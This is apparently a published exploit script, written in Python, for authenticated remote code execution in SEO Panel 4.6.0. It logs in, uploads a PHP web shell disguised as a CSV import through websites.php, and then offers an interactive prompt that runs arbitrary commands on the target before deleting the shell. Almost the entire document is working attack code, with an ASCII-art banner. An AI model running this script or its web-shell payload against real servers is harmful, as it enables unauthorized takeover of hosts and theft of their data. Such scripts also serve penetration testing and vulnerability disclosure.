# Exploit Title: SEO Panel 4.6.0 - Remote Code Execution (2) # Date: 22 Jan 2021 # Exploit Author: Kr0ff # Vendor Homepage: https://www.seopanel.org/https://www.kentico.com/ # Software Link: https://www.seopanel.org/spdownload/4.6.0 # Version: 4.6.0 # Tested on: Ubuntu 20.04 #!/usr/bin/env python3 ''' DESCRIPTION: - SeoPanel 4.6.0 vulnerable to Remote Code Execution via authenticated file upload FIXED: - ver 4.7.0 AUTHOR: - Kr0ff ''' #https://asciiart.website/index.php?art=animals/bats try: import requests import argparse import sys from termcolor import colored from time import sleep except ImportError as e: print(colored("[ERROR]: ", "red"), f"{e}") def arty(): artz = """ HAPPY HALLOWEEN ! ....._ `. ``-. .-----.._ `, `-. .: /` : `".. ..-`` : / ...--:::`n n.`::... : `:`` .` :: / `. ``---..:. `\ .` ._: .-: :: `. .-`` : : :_\\_/: : .:: `. / : / \-../:/_.`-` \ : :: _.._ q` p ` /` \| :-` ``(_. ..-----hh``````/-._: `: `` / ` E: / : _/ : _..-`` l--`` ---------------------------------------------------------- _ ___ ___ ___ ___ __ ___ ___| |___ ___ ___ |_ -| -_| . | . ||. | | -_| | _| _| -_| |___|___|___| _|___|_|_|___|_|_| |___|___| |_| 4.6.0 @Kr0ff ---------------------------------------------------------- """ print(artz) #Initialize requests to create a session r = requests.session() #Create a login for the user def login(TARGET, USER, PASS): data = {"sec":"login", "red_referer": f"{TARGET}", "userName": f"{USER}", "password": f"{PASS}","login":""} headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"} req = r.post(f"{TARGET}/login.php", headers=headers, data=data, verify=False) if req.status_code == 200: print(colored("[SUCCESS]", "green"), f"Status code for login.php -> {req.status_code}\r\n") else: print(colored("[FAILURE]", "red"), f"Status code for login.php -> {req.status_code}\r\n") print("Please check if you are providing the right path to 'seopanel' or if server is live...") get_ch = req.headers.get("Set-Cookie") return get_ch #Upload the webshell to target server def exploit(TARGET, USER, PASS): login(TARGET, USER, PASS) headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": TARGET + "/admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"} payload = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"bc1ab68651691302e1434959b70cba26.php\"\r\nContent-Type: text/csv\r\n\r\n<?php system($_GET['veiocx']); ?>\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n" req0 = r.post(f"{TARGET}/websites.php", headers=headers, data=payload, verify=False) if req0.status_code == 200: print(colored("[SUCCESS]", "green"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n") else: print(colored("[FAILURE]", "red"), f"Status code for payload upload [websites.php] -> {req0.status_code}\r\n") print("Please check if you are providing the right path or if server is live...") while(1): try: p = input("$> ") shell_url = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx={p}" control = r.get(shell_url, headers=headers, verify=False) if control.status_code == 200: print(colored("[SUCCESS]","green"), "Shell uploaded successfully !\r\n\r\n") print(control.text) else: print(colored("[ERROR]","red"), "Shell not uploaded... :(") print("Status code ->", colored(control.status_code, "red")) sys.exit(0) except KeyboardInterrupt: #Do self-cleanup on ctrl+c and wait a sec cleanup = TARGET + f"tmp/bc1ab68651691302e1434959b70cba26.php?veiocx=rm bc1ab68651691302e1434959b70cba26.php" requests.get(cleanup, headers=headers, verify=False) sleep(1) print(colored("\r\n[ERROR]", "red"), "Exitting ! Self-cleanup done !") break #Initilize parser for arguments def parse_argz(): parser = argparse.ArgumentParser(description='SEO Panel 4.6.0 authenticated RCE via file upload') parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/seopanel/", type=str) parser.add_argument("-u", "--user", help="Username to login as", type=str) parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str) #args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided args = parser.parse_args(args=None) if not args.target or not args.user or not args.passwd: parser.error(colored("[WARNING]","yellow"), "Not all arguments provided") sys.exit(1) else: TARGET = str(args.target) USER = str(args.user) PASS = str(args.passwd) exploit(TARGET, USER, PASS) if __name__ == "__main__": try: arty() parse_argz() except Exception as e: print(colored("[ERROR]","red"), f"-> {e}") sys.exit(1)